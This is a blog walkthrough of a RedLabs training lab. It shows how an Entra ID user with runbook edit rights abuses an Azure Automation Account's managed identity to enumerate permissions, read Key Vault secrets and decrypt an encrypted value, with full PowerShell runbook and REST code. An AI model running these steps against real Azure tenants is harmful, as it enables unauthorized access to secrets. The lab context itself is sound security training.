Reading and Decrypting Key Vault with Runbook MI
- Vishal Raj
- 3 days ago
- 7 min read
We have recently added a new set of 15 Automation Account challenges, each designed to highlight distinct attack vectors and provide comprehensive, hands-on learning opportunities. In this blog post, we will explore one of these Automation Account challenges on the RedLabs platform: Automation Account 13. You can find the complete series of Automation Account challenges on RedLabs platform here: https://redlabs.enterprisesecurity.io/
Before diving into the challenge itself, it is important to understand the core Azure services involved: Automation Accounts, Managed Identities, and Azure Key Vault.
Azure Automation Account
Azure Automation delivers a cloud-based automation service that supports consistent management across your Azure and non-Azure environments. It includes process automation, configuration management, shared capabilities, and heterogeneous features.
Managed Identity
A managed identity is an identity that can be assigned to an Azure compute resource (Azure Virtual Machine, Azure Virtual Machine Scale Set, Service Fabric Cluster, Azure Kubernetes cluster) or any App hosting platform supported by Azure. Once a managed identity is assigned on the compute resource, it can be authorized, directly or indirectly, to access downstream dependency resources, such as a storage account, SQL database, Cosmos DB, and so on. Managed identity replaces secrets such as access keys or passwords.
Azure Key Vault
A key vault is a secure cloud service in Azure that allows us to safeguard and manage cryptographic keys, secrets, and certificates. It provides a centralized location for storing and managing sensitive information used by our applications and services.
For this specific challenge, the scenario is:
"Entra ID user has access to an Automation Account, and the Automation Account’s Managed Identity has access to read Key Vault keys and decrypt an encrypted secret string."
Our goal in this post is to demonstrate how to solve this challenge using two different approaches:
Using the Azure Portal
Using the Az PowerShell module
We will walk through how an attacker (or red teamer) can leverage existing permissions on the Automation Account and its Managed Identity to access Key Vault keys and decrypt an encrypted secret string, highlighting both the attack path and the relevant Azure components involved.
Accessing the RedLabs portal
Start by login to https://redlabs.enterprisesecurity.io and search for 'Automation Account 13' challenge.


Now start the lab by choosing the server location and wait for the environment to finish provisioning. Once the setup is complete, you will receive the user credentials that you will use to perform the lab.
Azure Portal Solution:
Login to the Azure portal using the provided Entra ID credentials and complete the Multi-Factor Authentication (MFA) setup to secure the account.
Once signed in, go to Automation Accounts, select Automation13, and open the Identity blade to verify that the Managed Identity is enabled, as it will be used to securely access other Azure resources without hardcoded credentials.

Now, go to the Runbooks section, open an existing runbook , and click on Edit in portal.

In the runbook editor, paste PowerShell code that connects with the Automation Account’s Managed Identity and enumerates its role assignments using cmdlets such as Get-AzAutomationAccount and Get-AzRoleAssignment to understand its effective permissions.
Connect-AzAccount -Identity
$Resources = Get-AzResource
foreach($Resource in $Resources)
{
$Token = (Get-AzAccessToken).Token
$ID = $Resource.Id
$URl = "https://management.azure.com/$ID/providers/Microsoft.Authorization/permissions?api-version=2022-04-01"
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
ContentType = "application/json"
}
$Result = Invoke-RestMethod @RequestParams
$Resource.Id
$Result.value | fl *
$Result.value.actions | fl *
}After editing the runbook, save and publish it so the changes take effect.
Start the runbook and wait for the status to complete, then open the Output tab to review the results.

The output will reveal the permissions assigned to the Managed Identity.
actions : {Microsoft.KeyVault/vaults/read}
dataActions : {Microsoft.KeyVault/vaults/secrets/getSecret/action,
Microsoft.KeyVault/vaults/secrets/readMetadata/action, Microsoft.KeyVault/vaults/keys/decrypt/action,
Microsoft.KeyVault/vaults/keys/read}These permissions confirm that the Managed Identity can read the Key Vault, access secret values, and use Key Vault keys to decrypt encrypted data, which is exactly what will be leveraged to solve this challenge.
Note: While enumerating resources for the Automation Account’s Managed Identity, you may see multiple Key Vault instances because the Automation Account is a shared resource. For this lab, only use the Key Vault name that is actually visible to you in the Azure Portal.
To extract these secrets, we will edit the existing runbook. In the script editor, paste the following code:
Connect-AzAccount -Identity
# Replace <Key Vault Name> with the name of your Azure Key Vault
$VaultName = <Key Vault Name>
$SecretName = (Get-AzKeyVaultSecret -VaultName $VaultName).Name
$SecretData = Get-AzKeyVaultSecret -VaultName $VaultName -Name $SecretName -AsPlainText
$EncryptedBytes = [Convert]::FromBase64String($SecretData)$KeyName = (Get-AzKeyVaultKey -VaultName $VaultName).Name
$DecryptedBytes = Invoke-AzKeyVaultKeyOperation -Operation Decrypt -Algorithm RSA1_5 -VaultName $VaultName -Name $KeyName -ByteArrayValue $EncryptedBytes
$DecryptedString = [System.Text.Encoding]::UTF8.GetString($DecryptedBytes.RawResult)
Write-Output "DecryptedString: $DecryptedString"This script uses the MI to access the Key Vault, fetch the relevant secret and key, and decrypt the encrypted value.
After you publish and start the runbook, check the Output tab to view the decrypted secret, confirming that the Managed Identity can both read and decrypt the data stored in Key Vault.

Now submit the value as flag and complete the challenge.
We have successfullt solved Autoamtion Account 13 Challenge.
Az PowerShelll Solution:
Open a PowerShell session on your local machine and install the Az PowerShell module from the PowerShell Gallery using:
Install-Module -Name Az -Scope CurrentUser -Repository PSGallery -ForceAfter installation, run Get-Module Az -ListAvailable to verify that the module is installed and ready to use.
Login to Az PowerShell using the provided user credentials and complete Multi-Factor Authentication (MFA) to secure the session.
Connect-AzAccountOnce we have successfully login we can enumerate the Resources that our current user has access to using the below command.
Get-AzResource
We can see that the current user can list the Automation Account, its runbooks, and the Key Vault.
Next, we use a REST API call to enumerate the user’s permissions on the Automation Account.
$AutomationAccount = Get-AzAutomationAccount
$Token = (Get-AzAccessToken -AsSecureString).Token
$AccessToken = [System.Net.NetworkCredential]::new("", $Token).Password
$SubscriptionID = $AutomationAccount.SubscriptionID
$ResourceGroupName = $AutomationAccount.ResourceGroupName
$AutomationAccountName = $AutomationAccount.AutomationAccountName
$URI = "https://management.azure.com/subscriptions/$SubscriptionID/resourceGroups/$ResourceGroupName/providers/Microsoft.Automation/automationAccounts/$AutomationAccountName/providers/Microsoft.Authorization/permissions?api-version=2022-04-01"
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $AccessToken"
}
ContentType = "application/json"
}
$Result = Invoke-RestMethod @RequestParams
$Result.value | fl *
$Result.value.actions | fl *After executing the above command we get the following output.

We can see in the output above that we have permissions to write Automation Account Jobs.
Now let's check for the runbook that are present inside the Automation Account.
$automationAccount = Get-AzAutomationAccount
$Token = (Get-AzAccessToken -AsSecureString).Token
$AccessToken = [System.Net.NetworkCredential]::new("", $Token).Password
$SubscriptionID = $automationAccount.SubscriptionID
$ResourceGroupName = $automationAccount.ResourceGroupName
$automationAccountName = $automationAccount.AutomationAccountName
$runbookName = (Get-AzAutomationRunbook -ResourceGroupName $ResourceGroupName -AutomationAccountName $automationAccountName).Name
$URI = "https://management.azure.com/subscriptions/$SubscriptionID/resourceGroups/$ResourceGroupName/providers/Microsoft.Automation/automationAccounts/$automationAccountName/runbooks/$runbookName/providers/Microsoft.Authorization/permissions?api-version=2022-04-01"
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $AccessToken"
}
ContentType = "application/json"
}
$Result = Invoke-RestMethod @RequestParams
$Result.value | fl *
$Result.value.actions | fl After executing the above command we get the following output.

We can see that the user can modify and publish runbooks and jobs.
Now, we will verify whether the Automation Account has its Managed Identity enabled.
(Get-AzAutomationAccount).Identity | fl *
Now, we check which resources are accessible to the Managed Identity and identify the privileges it has on those resources.
Runbook Code:
Connect-AzAccount -Identity
$Resources = Get-AzResource
foreach($Resource in $Resources)
{
$Token = (Get-AzAccessToken).Token
$ID = $Resource.Id
$URI = "https://management.azure.com/$ID/providers/Microsoft.Authorization/permissions?api-version=2022-04-01"
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
ContentType = "application/json"
}
$Result = Invoke-RestMethod @RequestParams
$Resource.Id
$Result.value | fl *
$Result.value.actions | fl *
}Save the runbook on your local disc and import the same to the Automation Account.
$RunbookPath = "<Runbook_Path>"$AutomationAccount = Get-AzAutomationAccount$runbookName = (Get-AzAutomationRunbook -ResourceGroupName $ResourceGroupName -AutomationAccountName $automationAccountName).NameImport-AzAutomationRunbook -Name $runbookName -ResourceGroupName $automationAccount.ResourceGroupName -AutomationAccountName $automationAccount.AutomationAccountName -Path $runbookPath -Type PowerShell -ForceAs we know that we do have permission to publish the runbook. So let's publish and run the runbook.
Publish-AzAutomationRunbook -RunbookName $runbookName -ResourceGroupName $AutomationAccount.ResourceGroupName -AutomationAccountName $AutomationAccount.AutomationAccountName$Jobs = Start-AzAutomationRunbook -RunbookName $runbookName -ResourceGroupName $AutomationAccount.ResourceGroupName -AutomationAccountName $AutomationAccount.AutomationAccountNameAfter executing the Runbook, we will get a Job ID as output. This Job ID is required to read the Runbook’s output once execution finishes. To verify completion, use the following command.
Get-AzAutomationJob -ResourceGroupName $AutomationAccount.ResourceGroupName -AutomationAccountName $AutomationAccount.AutomationAccountName -Id ($Jobs.JobId).Guid
Now, let's read the output of our runbook using Rest API call.
$AutomationAccount = Get-AzAutomationAccount
$Token = (Get-AzAccessToken -AsSecureString).Token
$AccessToken = [System.Net.NetworkCredential]::new("", $Token).Password
$SubscriptionID = (Get-AzSubscription).Id
$ResourceGroupName = $AutomationAccount.ResourceGroupName
$AutomationAccountName = $AutomationAccount.AutomationAccountName
$JobId = ($Jobs.JobId).Guid
$URI = "https://management.azure.com/subscriptions/$SubscriptionID/resourceGroups/$ResourceGroupName/providers/Microsoft.Automation/automationAccounts/$AutomationAccountName/jobs/$JobId/output?api-version=2017-05-15-preview"
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $AccessToken"
}
}
(Invoke-RestMethod @RequestParams)
Note: While enumerating resources for the Automation Account’s Managed Identity, the output may returns multiple Key Vault instances because the Automation Account is a shared resource. For this lab, only use the Key Vault name that is actually visible to you using Get-AzResource.
As we can see in the output that MI can read Key Vault details, get secrets, read keys, and decrypt.
Now, we need to edit the runbook to use it for extracting secrets and decrypting with Key Vault Keys.
Runbook Code:
Connect-AzAccount -Identity
# Replace <Key Vault Name> with the name of your Azure Key Vault
$VaultName= <Key Vault Name>
$SecretName = (Get-AzKeyVaultSecret -VaultName $VaultName).Name
$SecretData = Get-AzKeyVaultSecret -VaultName $VaultName -Name $SecretName -AsPlainText
$EncryptedBytes = [Convert]::FromBase64String($SecretData)
$KeyName = (Get-AzKeyVaultKey -VaultName $VaultName).Name
$DecryptedBytes = Invoke-AzKeyVaultKeyOperation -Operation Decrypt -Algorithm RSA1_5 -VaultName $VaultName -Name $KeyName -ByteArrayValue $EncryptedBytes
$DecryptedString = [System.Text.Encoding]::UTF8.GetString($DecryptedBytes.RawResult)
Write-Output "DecryptedString: $DecryptedString"Now, Save the runbook to disk and import it into the Automation Account after that publish and start the runbook, as directed in Step 9 above.
At last let's read the output of our runbook using Rest API call to get our final flag.
$AutomationAccount = Get-AzAutomationAccount
$Token = (Get-AzAccessToken -AsSecureString).Token
$AccessToken = [System.Net.NetworkCredential]::new("", $Token).Password
$SubscriptionID = (Get-AzSubscription).Id
$ResourceGroupName = $AutomationAccount.ResourceGroupName
$AutomationAccountName = $AutomationAccount.AutomationAccountName
$JobId = ($Jobs.JobId).Guid
$URI = "https://management.azure.com/subscriptions/$SubscriptionID/resourceGroups/$ResourceGroupName/providers/Microsoft.Automation/automationAccounts/$AutomationAccountName/jobs/$JobId/output?api-version=2017-05-15-preview"
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $AccessToken"
}
}
(Invoke-RestMethod @RequestParams)The output contains our final flag submit it and complete the challenge.
Finally, we have successfully completed the Automation Account 13 challenge using AzPowerShell module.
Thank you for reading this detailed walkthrough.
References:
What is Automation Account? https://learn.microsoft.com/en-us/azure/automation/overview
Using a system-assigned managed identity for an Azure Automation account: https://learn.microsoft.com/en-us/azure/automation/enable-managed-identity-for-automation
Key Vault authentication and managed identity access: https://learn.microsoft.com/en-us/azure/key-vault/general/authentication
Install Azure PowerShell (Az module): https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell
Posted by:
Vishal Raj
Security Researcher at AlteredSecurity




